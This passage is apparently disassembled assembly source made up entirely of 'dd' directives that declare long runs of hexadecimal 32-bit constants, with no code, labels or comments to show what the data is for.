		dd 1E27F4h, 7190508Ah, 0EAD8C78Fh, 0B571B00h, 4DDA5298h
		dd 0ADEC182Bh, 4929100Dh, 2D0F51E2h, 804C1177h,	5B1C207Ah
		dd 4987Bh, 0FB96FA10h, 0A2F99DE5h, 213FEE00h, 14CF0C39h
		dd 43DBA078h, 0D572C09h, 0ECD3947Ch, 0ECB7007Dh, 6B0417AEh
		dd 9B2623C8h, 0A08B142Ah, 0DCA40094h, 7FCBD3h, 0CF84C308h
		dd 0AD48070Ah, 2442653Bh, 680C3332h, 0B067E003h, 834058E1h
		dd 7B38AC00h, 8E26C406h, 13BB100h, 833785A2h, 72D0EC6h
		dd 63EEF96Ah, 22706E60h, 0E10018ECh, 2C691BE4h,	7D9556h
		dd 5863B56Bh, 0C0AAC41Dh, 78B0251Ch, 22A14870h,	0BA72B3h
		dd 5904E8DEh, 0C2F129EDh, 0F4816300h, 0C7CCAC3Ah, 0A7F20ECAh
		dd 6E6A68DFh, 5C2A00A8h, 358F8B5Ah, 0F37DB600h,	0F6D1FD28h
		dd 89460065h, 7EF9623Dh, 9B00A075h, 3CB0A552h, 14A8738h
		dd 0D09D9E26h, 0CC045B3Ah, 0FB0030B7h, 0A4AC958Eh, 24145943h
		dd 20FBCBC1h, 1D1190DDh, 0D5410966h, 0D148C0BEh, 0A4765F00h
		dd 0F5848B34h, 4EB0C050h, 0A2189A03h, 9AE47304h, 8FC440C4h
		dd 3D16F6ACh, 7B802383h, 34B07219h, 4A288941h, 0E22614EFh
		dd 821D912Ch, 13663180h, 94B7Fh, 0E82AA020h, 3CCC6E72h
		dd 35008478h, 245C62E7h, 9168D9Ah, 8795D1E1h, 7A4B5A02h
		dd 0B4001864h, 6D10C644h, 4F9F9Eh, 1B42AF11h, 25BE99DEh
		dd 0EB0C44Dh, 0C0E69DA8h, 8E74D52h, 0EC640081h,	1A7B689Ah
		dd 0B000102Dh, 0B7BA6D5Fh, 0DCC533h, 844775B8h,	196804BDh
		dd 0CB00249Eh, 749B4E89h, 0B31D007Ah, 3975231Ah, 68C40D33h
		dd 38C0460Eh, 6B7AC4h, 53AF62Bh, 0D8C7FD6h, 0D02D0F03h
		dd 74F364h, 0E4B6EF61h,	5CDFB080h, 0BF009679h, 34DDFE30h
		dd 7C17AD1h, 19AB8C89h,	9020F4CFh, 25A948E4h, 0AA050F00h
		dd 0E558C543h, 2B770741h, 0F99565D4h, 0E25220A7h, 0B071471Eh
		dd 70440280h, 0E46E854Fh, 0CF38002Ch, 5AB8D75h,	2D72944Eh
		dd 0BE849200h, 6F2FE002h, 7FAC00DBh, 0E6A57670h, 5E004CE3h
		dd 0EFA9C6EEh, 1F56A74Eh, 0FC932117h, 0ACCFB280h, 0BB9E1E1Bh
		dd 2F000C71h, 358B4588h, 80DB85h, 0F5C35296h, 0EDFA6EC8h
		dd 0E6FB6B0Eh, 3A74E044h, 91410C4Bh, 62550CDCh,	64000930h
		dd 6FCA1DDEh, 1E7233A2h, 0C291A6DDh, 0ECB0D507h, 0BF277078h
		dd 716C8099h, 0EB3658h,	9AD029FDh, 84D60CBh, 0EE7DA300h
		dd 0D88A7901h, 20360084h, 51802DC8h, 384CE5B1h,	0D2761774h
		dd 40F5BC00h, 60B6362Bh, 89D6882Eh, 183F0B49h, 26B7055Ah
		dd 0FC00403Bh, 0F372EBC7h, 5BA2482h, 0EFBB8178h, 30A55DDBh
		dd 8F0022D4h, 106B1B39h, 671E08h, 1C1F0511h, 8A8BD6A2h
		dd 0DC18592Ah, 159B991Ch, 0FBD2C100h, 0E3E72C1Dh, 72903C20h
		dd 0CAC600F5h, 0BE0443A2h, 570E0D51h, 6095CC99h, 422B715Bh
		dd 671F0089h, 160A0B56h, 12ECD3Eh, 0EE00388Ch, 0D174A89Ch
		dd 0FE233D57h, 0DDC63503h, 85908B50h, 500D63Eh,	42BAF3F5h
		dd 76C62D7h, 0E3A6BB9Fh, 78630095h, 0B2000D70h,	5519D22Ch
		dd 7EA5877h, 22063521h,	54F1F1EEh, 745560A3h, 4586B700h
		dd 4EC1642Eh, 0C22B0059h, 85AE2F35h, 7300095Fh,	2DBE4088h
		dd 176A879h, 0B741CEB5h, 60B8165Ch, 0F09E8257h,	0E0004713h
		dd 5DAFB02Eh, 4FFB04EAh, 0E4AE8B4Ah, 56F4D0C0h,	0E20061E6h
		dd 2CFABAC9h, 0A4A0BCh,	16AB6D94h, 0DB57A920h, 0CBFE4900h
		dd 529E6C9Ch, 0C7A0004Eh, 0D902263Eh, 2B07C881h, 928A25BCh
		dd 760E9E20h, 64AA001Ah, 0C8230975h, 5303B5DCh,	7827188h
		dd 94B4FF54h, 0E02056C2h, 2DDA3C2h, 3DA69615h, 6CDA7AEAh
		dd 88171324h, 0CDCED03h, 6BE8C8F5h, 80750156h, 4CABCB46h
		dd 0F41460B5h, 48E011F8h, 0CF106502h, 842CC867h, 0E88C0684h
		dd 1719749Fh, 0E478B3h,	7B3D23F4h, 0E01270E8h, 9CD75D2Eh
		dd 0A92C0019h, 90ABB07Ch, 16CD4C48h, 22AC260Fh,	0F95E1280h
		dd 6B01438Bh, 0E61CF7A1h, 20E14589h, 0E5CC9621h, 0B96800B8h
		dd 13CF7E1Bh, 670552BBh, 87211CC9h, 0B1A2F000h,	761632h
		dd 9C3B5C71h, 9048C3D4h, 0A71CD0EEh, 6659EE8h, 18C254h
		dd 4B285881h, 0B0932F37h, 4FDC3Bh, 5AF4734Eh, 12779416h
		dd 3E55826Bh, 0E76B8800h, 23150018h, 98FA2FB1h,	39BB9B00h
		dd 45D50662h, 89D10099h, 0B82CCBC5h, 6E0247B1h,	49C27904h
		dd 0C6EC809Ch, 50A487h,	28B09B3Eh, 0CD702D2h, 1C7E7E70h
		dd 0AEEC7A3Bh, 0F50010BAh, 0FD2DFCA7h, 336300CAh, 3F2AAEF1h
		dd 2303568Ch, 946A05FAh, 95819066h, 0FCC800E0h,	6310409Ah
		dd 0D0490947h, 3EB30008h, 79EDA01Eh, 7BFC4C08h,	0E58F1800h
		dd 512BFCAh, 1A271900h,	60ED9783h, 566400E6h, 0C2A91D7Bh
		dd 99009EE9h, 8C03958Bh, 54B082F4h, 4B28C4Ah, 0FA36CD0Bh
		dd 29D8C1FEh, 0D6812073h, 0DABE7D07h, 53B089B8h, 243F3447h
		dd 7A05F2Dh, 543C4DA9h,	0AE4CE0C9h, 806E403Ch, 0CF3A8230h
		dd 2C530327h, 349C11h, 0FDA5F525h, 5807A168h, 0C1012A79h
		dd 1CC6AC20h, 88E9026Ah, 57896DEh, 3D9C1340h, 18726800h
		dd 45C0CB7Dh, 0BC8200A0h, 2F3C5610h, 4D60692Ch,	0E57336DCh
		dd 1EE1FC7Ch, 0C568F7D3h, 8770A895h, 862840D4h,	3D0BA374h
		dd 0ED87CF9h, 700F8770h, 45737FE0h, 342403E4h, 3D41E17Ah
		dd 4042E2C9h, 0AF78AE0Ch, 87E2630h, 0CFB6F5Ch, 769A8CB7h
		dd 0F4004360h, 716C31BFh, 0E5F1322h, 3F33DBACh,	3AEB3E83h
		dd 0A9B5880Fh, 325E0654h, 3897811h, 1471A346h, 0FBB0D74Dh
		dd 5B122AA4h, 1900DA62h, 6EA5955Ah, 128006FDh, 705735C0h
		dd 0BA3E773Eh, 0DB2C5021h, 765DF200h, 0F3341262h, 28316398h
		dd 2002D756h, 0FA74B583h, 8F0C8491h, 0CBD3BA80h, 0BDAC0F61h
		dd 28C70F93h, 0A3404E15h, 39B9C16Dh, 730C7101h,	0BF9646C7h
		dd 15A30E4h, 0DA741B34h, 0E05326D7h, 12003EBEh,	0B9B4876h
		dd 0C0549271h, 99D7FC18h, 527C19DBh, 406D078h, 8FFBDABAh
		dd 3E611620h, 0BAC4033h, 92D639EFh, 52180F00h, 0A330FDFFh
		dd 71DA0332h, 1E5D67E1h, 82C1B9E3h, 7640842Dh, 4F81B5C6h
		dd 0FAE0D97Bh, 0C1B676AFh, 0F4AE0E70h, 0DF98505Dh, 230546EAh
		dd 7FC830B2h, 2CCCDC45h, 0C0FA823h, 0BF8AB989h,	46062F51h
		dd 71C2110Bh, 0FBA700D1h, 0F521F3Ch, 49C242B3h,	408E1C77h
		dd 49B25B76h, 0C3013CA6h, 0DC3B7BB7h, 38698F1Fh, 0F6248051h
		dd 68C79C20h, 38617Fh, 0F4AD2A29h, 82001ADBh, 0CB7F5E3Dh
		dd 165225h, 3322C8CDh, 0B1A72E71h, 6B00CE70h, 8F44CFB7h
		dd 50E81225h, 8E9908h, 0BB0E80B3h, 0F59C1326h, 9A0B5100h
		dd 0B6498434h, 21A40166h, 1A1B69E3h, 4C7AF887h,	6C44C300h
		dd 8B1D6A53h, 48CB0F24h, 809C23C4h, 0F1340513h,	0A3077696h
		dd 37B03BEDh, 69515420h, 2698CBh, 32BE71F3h, 2C0C8815h
		dd 0E5540F7Ch, 0D5736790h
		dd 0B4502500h, 0D7178513h, 9DCB0049h, 0E80AAF73h, 8D002DA4h
		dd 0AE4A61B9h, 1340E12Bh, 0C10B339Eh, 0B0D56A9Ch, 0F3325008h
		dd 2B47079Ah, 130CABEBh, 90EA4D7Ch, 776DBCA0h, 2DB8F284h
		dd 0F47ED201h, 8CD483E6h, 2EE2F8h, 8193429Eh, 3BBD725Dh
		dd 16008892h, 2997E645h, 0A22654h, 4C5F42DEh, 96F3D738h
		dd 0BB66253Dh, 0FBC58257h, 0C813FABEh, 0FD4B88h, 0EB262C91h
		dd 0D5E3B85h, 280BDC7Eh, 0E056571Ch, 80E3Ch, 0B5296766h
		dd 7D1B2F5Ch, 780889Ch,	0E6A14C93h, 25A4003Fh, 9E2C8342h
		dd 677D133Dh, 0B15B700Bh, 0EF987D4h, 7CBCC0EEh,	3C113C30h
		dd 6B81F9D1h, 0F66A50DFh, 0ADB1D0BBh, 740BB70Eh, 9B121DC1h
		dd 94138C07h, 21EB46h, 0D3792378h, 0B7434001h, 66535A00h
		dd 3FEA31EEh, 0FF00035h, 0FEB577BBh, 0D760A958h, 9354CD38h
		dd 0A161FEFh, 79308033h, 36C8B4FCh, 0AB2B20C0h,	0E5C3F93h
		dd 9B3AF2E8h, 0BD148CDFh, 0EB007E60h, 6B5FCA25h, 0AB7F349h
		dd 645021ADh, 75BD415Ch, 955BC0C3h, 7A934486h, 0C979F500h
		dd 0DECEE2A5h, 122100B9h, 34788AAFh, 0AD811A65h, 23C0B1B2h
		dd 924A0D33h, 2B85216h,	6A20C760h, 0FB9326h, 14772843h
		dd 439E4C5h, 581EA130h,	106CDAEh, 33BDF6B2h, 83614FA4h
		dd 29E06D19h, 0B08AE0F5h, 415D3A60h, 68308860h,	0D103B1EFh
		dd 0E9BACFFCh, 4B0830F4h, 0A729D7D0h, 4E69F100h, 87B55927h
		dd 0E3D1385Dh, 5C044F83h, 0C0BFDB53h, 5BCF73BEh, 2300E2F0h
		dd 0A2D0D583h, 7101141h, 9B03C33Bh, 69959151h, 2F5DC461h
		dd 7E694C48h, 0B0D5DC1Fh, 0FF648583h, 2A60C8E9h, 0EFEE2C5Dh
		dd 9F8E010Fh, 0EC9EF167h, 0CA07F41Dh, 2F361A20h, 6FD2B570h
		dd 0BADB00DCh, 74B38CA7h, 500CFD8h, 12727DCBh, 123980Eh
		dd 58A0AE27h, 0F04F2D51h, 8A16B659h, 0D10F890Fh, 0C43F4083h
		dd 0CF5334h, 0E551DE8Dh, 0CA11F8F0h, 0C1834E00h, 17DF5548h
		dd 0CDD10020h, 6414C294h, 0B82E86C3h, 0E00DA99h, 0D69CF005h
		dd 7B509871h, 5FC000E2h, 0A07D2CB3h, 63005D75h,	527BFA3Ch
		dd 0FA4F6FC8h, 0DE8C0089h, 0A0177AF5h, 9C14464h, 5DBB6E95h
		dd 349FE0h, 59DD90D4h, 0A452CBB2h, 0CAE8FC00h, 0B956656h
		dd 7AF70373h, 9701189Fh, 45E2821h, 855C7B5h, 0D36C4F17h
		dd 0C945FA51h, 2988C1C1h, 7E001723h, 68BFCC24h,	0E8EE037Bh
		dd 0E5225D50h, 9170CDC8h, 807E8C39h, 0EA9407C9h, 78826C0Dh
		dd 32D80054h, 0C8C49F50h, 3000E1FCh, 0E3614ABDh, 3FBB29Eh
		dd 1E7DF66Fh, 0E03A0FDBh, 8CA38017h, 81AA985Ch,	0F37E0051h
		dd 0D3914AA0h, 0B801E223h, 88E060DFh, 1D6025BFh, 74C10EFAh
		dd 93A0A967h, 6FC564C3h, 0F3DA4100h, 7216076Eh,	75A400FEh
		dd 4CF54FD7h, 0B13A7E4Eh, 7F36000Eh, 21253DAAh,	5CEC3F7Dh
		dd 0E476D480h, 8B9E1287h, 962D6900h, 80B283C9h,	97672C4Eh
		dd 40F40098h, 1790DAE6h, 0A019BC00h, 71B0A121h,	0F3E20163h
		dd 0AC9D95B2h, 6DB670D1h, 6E0F0EECh, 80FD5033h,	0F6959B3Bh
		dd 0F7F000B1h, 0E02614B7h, 58789366h, 0E5029907h, 1D5027ACh
		dd 17E8EA4h, 0BB2A5321h, 20842DB6h, 50D42F3Dh, 0F5F700DEh
		dd 6145C51Dh, 0B17509h,	64F28D62h, 77F45EBCh, 40007B7Dh
		dd 701125FDh, 502C531Bh, 0CEB867h, 22A32BFh, 56156A19h
		dd 8C9A3400h, 481C7549h, 547A005Fh, 0C1D7DEB0h,	603B0158h
		dd 8EB13A3Ah, 21482EB5h, 613C5FEFh, 0EA19F4h, 0A6D5D01Fh
		dd 0FAC46E37h, 0DA43B709h, 0E4CB0814h, 410D9E80h, 3C0E5884h
		dd 5380F417h, 0E9E6A97Dh, 5100DD06h, 50010C35h,	7CE62EFh
		dd 8F177594h, 952711B6h, 987FE8D9h, 73DD33Ah, 7B4C2686h
		dd 6C351120h, 13B81Ch, 91CCCF6Dh, 82E77ED8h, 3926800h
		dd 0C819AE38h, 37A500C3h, 0DFE549Fh, 9330AADBh,	1CEC1039h
		dd 571900ABh, 0A29C993Ch, 0BE04B769h, 897323B2h, 77AE98C0h
		dd 7667008Bh, 0F6345481h, 6D00FDD5h, 0A0A536F3h, 4D21FBh
		dd 3DB61592h, 0FA123557h, 0E9F27100h, 0DC85E57Eh, 615F1267h
		dd 0A8F000D8h, 1E9E79F4h, 0EB8F8C00h, 26C01257h, 17D10044h
		dd 306BF898h, 70037F8Dh, 47118E49h, 0B64EB024h,	7CDCFFF5h
		dd 5576ECh, 23A3C36Ah, 0A57ABF2Bh, 4100D579h, 31881271h
		dd 0FE1667Ch, 0AD8A6E90h, 0C974817Dh, 0E07E60B5h, 86001BECh
		dd 61E6FE59h, 420E9Bh, 87B72B52h, 0B8DC44EBh, 14D1AD01h
		dd 6381DD8Dh, 9AB420h, 3CF6C154h, 0DE3D31DBh, 0DFA56C1Ch
		dd 0C8FAB180h, 9940FFh,	1051D224h, 32D1A93h, 0CCC93E00h
		dd 0E5ABB84Fh, 0EFD300FBh, 0F5E87A59h, 2D03B342h, 16F7314Bh
		dd 4880FCC4h, 511D1h, 0D3C7ACDFh, 44AD6130h, 0EA0560E2h
		dd 6E8FAF9Eh, 1CCEF781h, 0E09C05CCh, 0DCB2A025h, 6A5C4C0Fh
		dd 17B71103h, 8EA89B69h, 5A09DB85h, 0A2B5AEh, 0C0347DD5h
		dd 695600A5h, 59CA0EAh,	3700FD23h, 3F29B1B0h, 484834CFh
		dd 0B2009C4Eh, 467FDF62h, 413D1630h, 0BB04005Fh, 0A5B03F2Ch
		dd 0F0990083h, 0ACF5036Eh, 0C77B6523h, 5F363D00h, 122C7553h
		dd 0BF04008Bh, 0EF3403E0h, 0D380D2AAh, 1F20220Bh, 3CA06F3Bh
		dd 804FBDE3h, 0B3D324BDh, 2FEB6D4h, 490B92FFh, 4960722Ch
		dd 7807E566h, 4FCB2D7Eh, 87FD6970h, 39098ECh, 5DE23B88h
		dd 0C0095105h, 90DDD058h, 492B1EA4h, 79000C37h,	0B37FA149h
		dd 2F003ACEh, 6F260501h, 3B722315h, 5138C3B5h, 800F2907h
		dd 79D820BEh, 2E004820h, 0A509233Ch, 0F8937Ah, 0F5CAD766h
		dd 9B6C5B5Dh, 0D46BF700h, 53DC17F6h, 9979004Ah,	0AAB2052Ch
		dd 29001E67h, 5E0E5FACh, 956186h, 3C93F0FDh, 58E1CF5Bh
		dd 0D4EEC7E4h, 5651AB00h, 47499B42h, 7A7364C9h,	7B9D80D3h
		dd 6C010AB9h, 9E26D59Ah, 19F466AEh, 5A453938h, 0DB59C582h
		dd 0B0C0DF71h, 63000F4Ah, 0F527F714h, 4A203h, 7A6DB2CDh
		dd 89D7EE55h, 99E4F407h, 0F9C038E9h, 7DAD36h, 0C2E626A7h
		dd 0D7811D8Fh, 9330DE02h, 0C0F28E3Dh, 4A6FEBh, 481168FEh
		dd 8BE5FC05h, 0BE31EC03h, 80609063h, 7FFD9Ah, 0E07182C2h
		dd 35E2738Eh, 65783Ah, 0DD3C7AF4h, 1C5A9A43h, 800F96E5h
		dd 1D82DC08h, 62076ADBh, 0C9B5B43Eh, 7390AE77h,	262746ACh
		dd 3904E8B1h, 1E494107h, 58FC1095h, 0F677C831h,	455A1401h
		dd 0EA806C3h, 0B0868434h, 0FC84900Ch, 9412002Bh, 0A36A20D2h
		dd 0F5A0D7F9h, 2103584Ah, 0A12AAEB4h, 92D4E0F3h, 4B96002Ch
		dd 861515Bh, 3B00EA87h,	3286B7Fh, 124ACCFh, 3C7CCB30h
		dd 240461F7h, 0C00363Ch, 0AF29E239h, 0BEAABCh, 3559A18Eh
		dd 0C7FFE4C2h, 87932439h, 0C64A5447h, 0E0401273h, 0FBFEBE19h
		dd 0ADC88431h, 0EF473FE3h, 4207D212h, 5EB05F9Ch, 78406027h
		dd 938BF0h, 316AFA66h, 9EF6D6C1h, 141C5C13h, 0AED43400h
		dd 0F4DF22h, 20A6C453h,	0A5790752h, 0C8F0841Ch,	0C09D6C0h
		dd 7B5572h, 68E9C0A1h, 159BE6F4h, 0D6FF3600h, 67CE6A7Dh
		dd 8EC73F11h, 0F712F801h, 2007E00Fh, 87008DD9h,	1FD91D85h
		dd 3A9114F1h, 7F00F46Bh, 50BA19C9h, 4D009DF5h, 25FC2B1Ah
		dd 0B7993Ah, 8B3CE0FFh,	7413E7FEh, 85F73700h, 35450453h
		dd 8EA5009Bh, 8F5A12D8h, 5D030BC5h, 0CC15D22Bh,	57A400A6h
		dd 782A1CF3h, 95CB9E4h,	0AE6C0059h, 9633151Eh, 388F80Dh
		dd 7D83E5EEh, 50874F5Dh, 0D42AECCCh, 4287A900h,	94F0EFC0h
		dd 30F300F7h, 0A7DA1805h
		dd 0ED007B5Bh, 79AFB470h, 1C13963Dh, 12123924h,	0C0588057h
		dd 415DF1A1h, 0AF8800A4h, 1D9F7BEBh, 0EE900089h, 2327D948h
		dd 50059D6h, 580F69D3h,	0B4F6641h, 4418A96Eh, 3C00190Bh
		dd 70BB407Ah, 9681A58h,	37786FDh, 0AE99924Bh, 4A8E1C60h
		dd 0B65C35h, 223C28A7h,	0D3E6BF75h, 1059A1Dh, 49137100h
		dd 9CC96Eh, 934512DAh, 5F66EA2Fh, 80F6F53Fh, 0E97DE19Bh
		dd 36BA1AFh, 9A8833A4h,	0F5D9AEE3h, 0CBE84012h,	670E26B7h
		dd 60CAED72h, 0FCA37B37h, 7AFD0062h, 0B255AFF0h, 64F4D138h
		dd 0D9707400h, 6CA295D8h, 0BC580039h, 0EFDE367Ch, 0C8D2C8C1h
		dd 998F8D01h, 51304F01h, 0CE6D09A5h, 40816EB1h,	28A02BE7h
		dd 25A6008Ch, 36E51EADh, 70430F4Ah, 73A04CEBh, 16474DFAh
		dd 4B024E01h, 48014F1Ch, 0EBCF64D1h, 12190317h,	81F20735h
		dd 0D0A40801h, 0BCDE5BDCh, 8A5F6187h, 0B1A160B8h, 1C0FBB37h
		dd 373D3D5h, 0C0B33564h, 0AFD33FFh, 4BFA421h, 253F00F4h
		dd 0B8AFD2A1h, 0D774DCF6h, 0F4DAD801h, 67E6DE20h, 0A65FF0h
		dd 3E37C8BFh, 68FD99DFh, 0BD84EF09h, 80C400B1h,	2E9E2AB6h
		dd 0C102B9h, 0ECC63D63h, 0DB096A05h, 60B11582h,	0F372D209h
		dd 98447880h, 133368FCh, 0A1191C30h, 21F13CD3h,	3D06A821h
		dd 0E1DF11h, 70DEF63Bh,	52D3E65Ah, 75DBA400h, 14E32F94h
		dd 5F7F0071h, 327EF0BBh, 39009C82h, 0DFDD97FFh,	377AA8h
		dd 0E254FC0h, 0E2AC18EBh, 6C177C00h, 0D4DADB4h,	0BDE300D5h
		dd 24AB1686h, 1800D092h, 80A5BF33h, 1D8C394h, 12EC676Ah
		dd 202C0450h, 0D205A40Dh, 731260Ah, 0ED418D80h,	0A1360011h
		dd 62FD367h, 8002A497h,	57ADDCBFh, 8252E0DDh, 0B5A704F6h
		dd 807B1758h, 15A48DB8h, 6007E7Eh, 9D3018C5h, 954621h
		dd 17351383h, 7CEAA1CFh, 4C8CB354h, 0D58ECB01h,	1A103156h
		dd 6588FC8h, 0EF1EC4DDh, 13185879h, 95316CE7h, 5DBCA80Eh
		dd 0E11803FEh, 513C8676h, 3B307FC0h, 192A5C00h,	0F04F655h
		dd 0CCA21093h, 6AA9064Ch, 3E41182Bh, 3707F997h,	508B21B4h
		dd 9440020Bh, 902182E1h, 61EEC282h, 6DE0AAD8h, 8ED13F0Dh
		dd 0DF591700h, 1A5989Ch, 81400C60h, 190A67h, 0F7FB9A10h
		dd 0E441C835h, 9B4DAF00h, 303ECC51h, 369E00A2h,	43A71AF8h
		dd 0B614D3FDh, 1EB3835Fh, 42C0FA03h, 0C1D0F57Eh, 0ED180090h
		dd 95B3C379h, 9401B99Ah, 0EE238FACh, 0DCE0FB2Bh, 0C811C0A8h
		dd 101BF3DFh, 33384607h, 80C0742Dh, 37257EA9h, 80789617h
		dd 3241C631h, 0FE1389C0h, 3C9042h, 847516C1h, 3D7D444Ah
		dd 0F1D3F700h, 72C2F274h, 2CCB00EFh, 59F09631h,	0B778C666h
		dd 4B00A7FEh, 0F664131Fh, 308D280Ah, 952E440h, 14026DCBh
		dd 0A67476CDh, 0C61482A8h, 96840027h, 9500F709h, 4C1BA1EBh
		dd 0C5FB48h, 6DAB5D60h,	0BE42C0F9h, 81C43400h, 5B6EDF3Fh
		dd 0DA6401E9h, 545DCB8Ah, 67B3F81Fh, 0C926F700h, 1CCF3E2Ah
		dd 0DAA002A4h, 0A5207D6Ch, 0B7244B60h, 0F56D0200h, 0B58F95ACh
		dd 1EB63A31h, 0B13F3400h, 5D476B99h, 73BFF900h,	0EDB4CA2Ch
		dd 2901Ch, 54280553h, 0BFBD09C7h, 431D3307h, 59C0B2A2h
		dd 3A5BFEAEh, 0E8003517h, 3811BC7Ah, 10CF32B4h,	1D41A02Dh
		dd 2687BEFh, 78B6C2Eh, 0A8808844h, 7249C9BAh, 3E3A1200h
		dd 27595C1h, 0E9A7F4Dh,	0D4920EA7h, 0C0BDDD20h,	0DF021972h
		dd 5F8ACD9h, 0E7CE2F2h,	9F998098h, 4DD16Fh, 1E9CAF24h
		dd 18D9BA8Dh, 0D57DDE00h, 0FDF69102h, 2D361D5Ch, 0B0EC00Ah
		dd 586F27F3h, 98564407h, 0DCC00CC9h, 0A1AD34h, 0CD73E7CAh
		dd 0B7664AABh, 9DCB453Dh, 5F073E12h, 8B00C005h,	51384F2h
		dd 5D2E20B6h, 619CC0D9h, 3B00A6FBh, 0EE5A4603h,	0D1F0D4h
		dd 0B90CD82Fh, 35BD7143h, 7804C54h, 62C56C00h, 6157A896h
		dd 0CA89000Eh, 2B3A1FB3h, 400F40Fh, 7C3DC73Eh, 538288h
		dd 6A86EA61h, 0FD324FB8h, 0E3007FE6h, 76B125F4h, 150E63Eh
		dd 545BE8B2h, 0E88C268Ah, 1200619Fh, 2905FF96h,	48744D56h
		dd 0EF0014DDh, 0FBDFC39Ch, 0BB399A04h, 6FEE82F1h, 42CAC542h
		dd 40AF4004h, 7F550F21h, 99E19665h, 7023A02Eh, 0A83A8A48h
		dd 0E46380B1h, 1164DE03h, 24C2039Ch, 0BAFD0408h, 0B0194DE0h
		dd 56C8AC00h, 0AAE8B1Ah, 0A46017CAh, 89911485h,	4F2A6D01h
		dd 0D06FF027h, 5500742Fh, 0E6E1CFB5h, 0B4C1F1h,	4694789Ch
		dd 179D7733h, 3A876100h, 7619E44Eh, 3CE71D4Ah, 0A03540F7h
		dd 0B6C9B0FDh, 0FC275500h, 4FC78D2Ah, 0F0621C3Dh, 5BD5008Fh
		dd 68FE23C2h, 4CAC1C00h, 5895B5B9h, 64B3E286h, 800B285Ah
		dd 973FAF9Bh, 114DC504h, 4C175DCh, 20E0890Ah, 748D02A8h
		dd 946BC3D4h, 0A1159C60h, 8079A003h, 0B9B0B575h, 0BCF89309h
		dd 0D6700062h, 877A0F4Bh, 0CF3B9CF4h, 0D9958292h, 0E003FA13h
		dd 1EE990E4h, 40698D73h, 8A35BC65h, 6700BE9Ch, 0E8F6E68Bh
		dd 0D7387Dh, 0F4764658h, 1F38EBDh, 903ACE06h, 108D4C9h
		dd 0E434D2C7h, 0F3300535h, 0D9404BBAh, 3200F658h, 9BC9A2D9h
		dd 562264h, 0E621E3FEh,	538AEB14h, 0F7B7AE13h, 0CA417841h
		dd 11208B8Ch, 0D09034h,	436E6330h, 9848BA9Dh, 91AC2500h
		dd 23DE05F0h, 5EE8FBh, 0B9249C0Fh, 3CE8B526h, 7D0E2FF2h
		dd 8033C939h, 0EEA65BA2h, 0D04800A4h, 0FBE435B5h, 413D100Fh
		dd 0C45982D7h, 40F2BFEAh, 1FB17490h, 0C03D396Bh, 5EA62656h
		dd 13005027h, 3047216Fh, 1D92BAA4h, 19D810Ah, 0E2D63840h
		dd 0A87EEC90h, 21201E18h, 13F611h, 3A987892h, 4FC6B87Dh
		dd 733BC11Ch, 8F96C3C0h, 0C01E13BCh, 267BBE8h, 833FC5F8h
		dd 7B00FCEAh, 0CA5DFDFBh, 4F843Dh, 9EE2F08Fh, 0EF9FC2C1h
		dd 22D26100h, 0F6FAAD32h, 0BC0E3F05h, 2A570700h, 3981BE4Ch
		dd 0E96DD902h, 0E02E4EAAh, 0A06F3145h, 9A88B4h,	8FD9F305h
		dd 4C53479Eh, 24C1F700h, 0AD69A781h, 0CBBE00F4h, 949DC078h
		dd 57014A91h, 871968EDh, 0BBC8F54Fh, 63B70199h,	287D2714h
		dd 0A0F020DBh, 4D63C2Ch, 0FEA31E00h, 163C636h, 69AA96F3h
		dd 0D4086AACh, 3909EBD6h, 188750E3h, 1E2226Ch, 2FAB45F3h
		dd 43E533F8h, 5FD08CF0h, 9D00FF85h, 0C18D159h, 1EF2E29Bh
		dd 0C0BE3D34h, 0B651AE78h, 0A2001C09h, 3C47A3AFh, 1F43F879h
		dd 0A00360h, 0C9EF78E4h, 0F70EAF76h, 0F40A3D93h, 8F7A76F8h
		dd 0F111790Eh, 7BAA20FEh, 408AB19h, 9BBCD644h, 4064C7A9h
		dd 0C3C6A206h, 47345D00h, 1F367BE6h, 12E003Bh, 4E04AB8h
		dd 1204CEE4h, 0BDD24513h, 0A085EC90h, 6D0C268Eh, 9F640094h
		dd 91E90620h, 955C6500h, 63F6C3E6h, 0B73D01EEh,	0E093C746h
		dd 5866F038h, 3CF0D03Ah, 2DB3004Ah, 0C948BC55h,	0CD600077h
		dd 9B964F03h, 3E1D143Ah, 3DAC2625h, 0ADAAED01h,	7BF5488Eh
		dd 1DDAA4ECh, 0EE653F52h, 0D405802Ch, 8CD002FBh, 2B09D500h
		dd 0FCBCDE89h, 0BDD10088h, 403D8420h, 0EA748527h, 0C78A1E0Ah
		dd 1D000C04h, 2D996486h, 21FE863h, 0B7F7E319h, 0A4488A87h
		dd 2E749E6Eh, 0F94B70C0h, 0C146FAE7h, 163F7E08h, 1945F08Ch
		dd 4975E801h, 31850814h, 6DB73189h, 0CECFF580h,	8C5AD8Fh
		dd 68D0CC83h, 54DB5F94h, 0C0180Ah, 0B65761C3h, 66CE8AAEh
		dd 0C7E97A63h, 3EB9E1F9h, 0A16F1180h, 89955D96h, 0D6134700h
		dd 0C5318204h, 866202D1h, 71C326CDh, 70F1C0E4h,	0A8C04BBCh
		dd 0E5E766FAh, 343F824h
		dd 77CA0123h, 69A0D056h, 70034C64h, 0B8040E6Fh,	0C2B1B8C7h
		dd 8EFD00DBh, 64BBA7C0h, 0F400F2D1h, 33524781h,	69C851h
		dd 0D8422D82h, 3771A78Eh, 0F4F097h, 0B64C22EDh,	925F7377h
		dd 0DBC0CA03h, 0C8344D79h, 2AA86E9Eh, 8001FEh, 2B3FB7D1h
		dd 2D960546h, 90F40600h, 1E7FC239h, 0F3780040h,	0F6F8A4Ah
		dd 0AE0023B4h, 2D04F78Ch, 72AFE074h, 171D2861h,	48EF00DCh
		dd 5CA3381Fh, 8B7D0B35h, 0DFB88E00h, 0DB2B2CEDh, 70462ABFh
		dd 0AE60090h, 8E3D6F56h, 0F505EA75h, 9391172Ah,	31E880EAh
		dd 480020DFh, 0FB9C058Dh, 62245Ch, 0F4081349h, 23B08673h
		dd 1DD0B639h, 0C800CA3Fh, 9B89B44Eh, 46310F30h,	0C85593FCh
		dd 0CC3F8709h, 6E411B01h, 2BB18FF5h, 0E9911866h, 0CD1E0016h
		dd 0C667E453h, 6339ED5Ah, 7CA92EA5h, 0A06D1B0Eh, 0A0CDF5E8h
		dd 80D8018Ah, 243AAE2Eh, 5F5082EFh, 36F129Ah, 0BD1C3E2h
		dd 0E0818089h, 0BEF74A20h, 36C787Bh, 5C42DAAFh,	0FEC0AEFFh
		dd 89CE4662h, 3ABB20A0h, 0C0645E5h, 0B5038E0Bh,	0E303C0B1h
